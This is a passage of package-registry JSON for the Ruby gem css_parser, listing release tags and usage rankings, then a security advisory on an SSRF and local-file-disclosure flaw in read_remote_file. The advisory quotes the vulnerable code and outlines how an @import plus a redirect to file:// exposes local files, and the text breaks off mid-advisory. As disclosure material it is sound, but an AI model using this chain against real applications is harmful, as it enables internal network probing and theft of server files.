remailer%2Fcss_parser/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"1f942bcbd3007b91d66d17c5081a6993c8547cc7","kind":"tag","published_at":"2021-01-21T19:39:51.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.8.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.8.0/manifests"},{"name":"v1.7.1","sha":"279877086ad2af241299863e8443558118256f5d","kind":"tag","published_at":"2019-12-01T19:30:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d1d1d608f9c173ef85f50446e2ad2803e6bdbf89","kind":"tag","published_at":"2019-02-11T16:24:46.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.7.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"fae2326ff51799281542869ca78aa3be59000e76","kind":"tag","published_at":"2017-09-08T19:00:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.6.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"b29fff535f97ad25811cc2f84f2e2625427eb54c","kind":"tag","published_at":"2017-04-19T06:23:40.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0/manifests"},{"name":"v1.5.0.pre2","sha":"193911da2609e2a1d26b51831ff39cdffe5d801e","kind":"tag","published_at":"2017-03-14T14:57:45.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre2/manifests"},{"name":"v1.5.0.pre","sha":"8806bed299b5ca3a5106297eb33d9e4489f4fbb7","kind":"tag","published_at":"2017-03-13T07:32:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.5.0.pre","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.5.0.pre","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.5.0.pre","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.5.0.pre/manifests"},{"name":"v1.4.10","sha":"25b1144990c2dc695aa8aa4c334bf5387ab35a3c","kind":"tag","published_at":"2017-03-09T10:22:36.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.10","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.10/manifests"},{"name":"v1.4.9","sha":"eedbf177979e54fa54a098735e8ea49fd20f83b9","kind":"tag","published_at":"2017-02-22T08:07:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.9","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.9/manifests"},{"name":"v1.4.8","sha":"a06d6203d1dd27f3411829ca6865ccd2a175907c","kind":"tag","published_at":"2017-02-03T08:27:30.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.8","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.8/manifests"},{"name":"v1.4.7","sha":"782c47943b3ac1775e00e5bad17b49cafe3726b2","kind":"tag","published_at":"2016-11-29T16:16:34.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.7/manifests"},{"name":"v1.4.6","sha":"fbb5f2a75e07c16f8a51b227276f66ecd11e02d3","kind":"tag","published_at":"2016-10-20T15:28:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.6/manifests"},{"name":"v1.4.5","sha":"af6b300f2d248028a490ee7fd250380b192963ab","kind":"tag","published_at":"2016-06-28T08:16:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.5/manifests"},{"name":"v1.4.4","sha":"274a6035c83addcaca251cd5abb5726ad70b096e","kind":"tag","published_at":"2016-06-27T21:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"0af7c661741ec0295ad4e1fa2ec2c3d575518310","kind":"tag","published_at":"2016-06-27T20:52:07.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"ca62f7eb3be53ce1b6cb8a6fcaf559dac3916791","kind":"tag","published_at":"2016-06-17T14:19:23.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.2/manifests"},{"name":"v1.4.1","sha":"0f2ccfb9fda34d4315ae196f6baeb88b41ac9f58","kind":"tag","published_at":"2016-03-21T19:42:57.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"485d8fb743ee50f6a0aa08aa861cdab1fbbc2268","kind":"tag","published_at":"2016-03-16T21:23:47.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0/manifests"},{"name":"v1.3.7","sha":"cc217b1aad708de7b43ea604a775e0592974423f","kind":"tag","published_at":"2015-09-22T16:48:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7/manifests"},{"name":"v1.3.6","sha":"f956f63398a553a3aebb033ccfe9b3ea998cde54","kind":"tag","published_at":"2015-01-29T08:55:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"51d0100ecebbe6331e3dbe8ae790aaa488369f2f","kind":"tag","published_at":"2013-08-24T12:44:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"3e5a3454bbe7a62b1931f406bf61ca81bff289fc","kind":"tag","published_at":"2013-03-13T14:13:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"50b6ab748d7661e8820860f3c4b5d3e9b9540b85","kind":"tag","published_at":"2013-03-13T06:34:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"967e224c598e77cff26f1ec563850a1d3bde6861","kind":"tag","published_at":"2013-03-13T01:24:02.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"29d8ec93d8a5a34aa29b52785ab08baed3a5d507","kind":"tag","published_at":"2013-03-13T01:07:05.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"e4952f24940cde0204ad1954eb9c6981791586e9","kind":"tag","published_at":"2013-03-13T00:40:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0/manifests"},{"name":"1.2.6","sha":"0970ca41e7c2869a2c0a4f253d8c298d4eb6d1b7","kind":"commit","published_at":"2011-09-09T17:58:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6/manifests"},{"name":"1.2.5","sha":"84534d9486f8fd330e0aa133621b3f949e7f6cc7","kind":"commit","published_at":"2011-09-08T21:57:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5/manifests"},{"name":"1.2.3","sha":"8b5c7e0f61ae3e8803637a08e8bdab6a0fe0aac5","kind":"commit","published_at":"2011-09-08T04:59:04.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"3e4c325e958446881a26029333fad830cd23f144","kind":"commit","published_at":"2011-09-07T19:07:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"84346862ea1eeb0a77379b871484b8e58209791a","kind":"commit","published_at":"2011-09-07T16:25:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1/manifests"},{"name":"1.1.9","sha":"575b2f39cdba8c976c57d2450b8a9556d537c9ca","kind":"commit","published_at":"2011-04-01T21:58:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.9","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9/manifests"},{"name":"1.1.8","sha":"2bd8090ea25036486adf806678e8bafa1290cf3c","kind":"commit","published_at":"2011-03-30T04:32:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.8","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8/manifests"},{"name":"1.1.7","sha":"11a459fc06d900deec698675a40b98f567856017","kind":"commit","published_at":"2011-03-29T21:22:16.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.7","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7/manifests"},{"name":"1.1.6","sha":"7603ce4d17d708deb54cf8bd98ad2b03442a6a5d","kind":"commit","published_at":"2011-03-26T04:56:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6/manifests"},{"name":"1.1.5","sha":"844f2eb3948d5df6c1d73876a4bc13645d1d69e2","kind":"commit","published_at":"2011-01-21T17:47:12.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5/manifests"},{"name":"1.1.4","sha":"8ad6893c77ef6af7546df2ddc4082104ce77fa21","kind":"commit","published_at":"2010-11-11T19:03:18.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.4","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4/manifests"},{"name":"1.1.3","sha":"3e0af4f067fe9ca2271c3d564f88c1089876c40f","kind":"commit","published_at":"2010-11-03T23:40:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3/manifests"},{"name":"1.1.2","sha":"2ea81048d1d9d9ee54547b0fb834b49e20329e04","kind":"commit","published_at":"2010-10-28T22:49:28.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2/manifests"},{"name":"1.1.1","sha":"0d29d846c112b6c85a779c09ce3dab5e762de322","kind":"commit","published_at":"2010-10-26T21:03:08.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1/manifests"},{"name":"1.0.1","sha":"795220e824f1e2f57287a429f53988c635ab52a8","kind":"tag","published_at":"2010-02-21T19:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"876aa6c091af34e9828ad7eed5e9f6a91d038397","kind":"tag","published_at":"2009-12-22T00:22:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.0","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.0/manifests"},{"name":"0.9.0","sha":"52cad828e161ab3bab7217a13d02fd87d0bf2579","kind":"commit","published_at":"2008-06-25T16:42:17.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/0.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0/manifests"}]},"repo_metadata_updated_at":"2026-07-12T01:03:11.738Z","dependent_packages_count":93,"downloads":175346933,"downloads_period":"total","dependent_repos_count":8621,"rankings":{"downloads":0.15833900157223937,"dependent_repos_count":0.3506874365807696,"dependent_packages_count":0.34009433436290853,"stargazers_count":3.4645019569362523,"forks_count":2.491609147980063,"docker_downloads_count":0.2040566006177451,"average":1.168214746341663},"purl":"pkg:gem/css_parser","advisories":[{"uuid":"GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","url":"https://github.com/advisories/GHSA-9pmc-p236-855h","title":"Ruby CSS Parser: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`","description":"## Summary\n\n`CssParser::Parser#read_remote_file` (and therefore `load_uri!`, and the `@import`-following branch of `add_block!`) issues HTTP/HTTPS requests against any host, port and URI it is handed, with no scheme allowlist, no host / IP filtering, and no protection against link-local, loopback or RFC‑1918 addresses. `Location:` redirects are followed recursively back into the same function, which **also services `file://` URIs**, so a single attacker-controlled HTTP redirect upgrades the bug from SSRF to arbitrary local file disclosure.\n\nIn practice, any consumer of `css_parser` that hands it attacker‑influenced CSS together with a `base_uri:` option — Premailer being the canonical example — is exposed. The attacker only needs the ability to land one `@import url(...)` in the CSS that the host application parses.\n\n## Vulnerable code\n\n[`lib/css_parser/parser.rb#L613-L687`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L613-L687):\n\n```ruby\ndef read_remote_file(uri) # :nodoc:\n  ...\n  begin\n    uri = Addressable::URI.parse(uri.to_s)\n\n    if uri.scheme == 'file'\n      # local file\n      path = uri.path\n      path.gsub!(%r{^/}, '') if Gem.win_platform?\n      src = File.read(path, mode: 'rb')        # \u003c-- arbitrary local read\n    else\n      # remote file\n      if uri.scheme == 'https'\n        uri.port = 443 unless uri.port\n        http = Net::HTTP.new(uri.host, uri.port)\n        http.use_ssl = true\n      else\n        http = Net::HTTP.new(uri.host, uri.port)  # \u003c-- arbitrary host:port\n      end\n\n      res = http.get(uri.request_uri, ...)\n      ...\n      elsif res.code.to_i \u003e= 300 and res.code.to_i \u003c 400\n        unless res['Location'].nil?\n          return read_remote_file Addressable::URI.parse(...)  # \u003c-- cross-scheme redirect\n        end\n      end\n    ...\n```\n\nThere is **no validation** of `uri.host`, `uri.scheme`, or the resolved IP address — neither before the HTTP request, nor before the recursive call on the 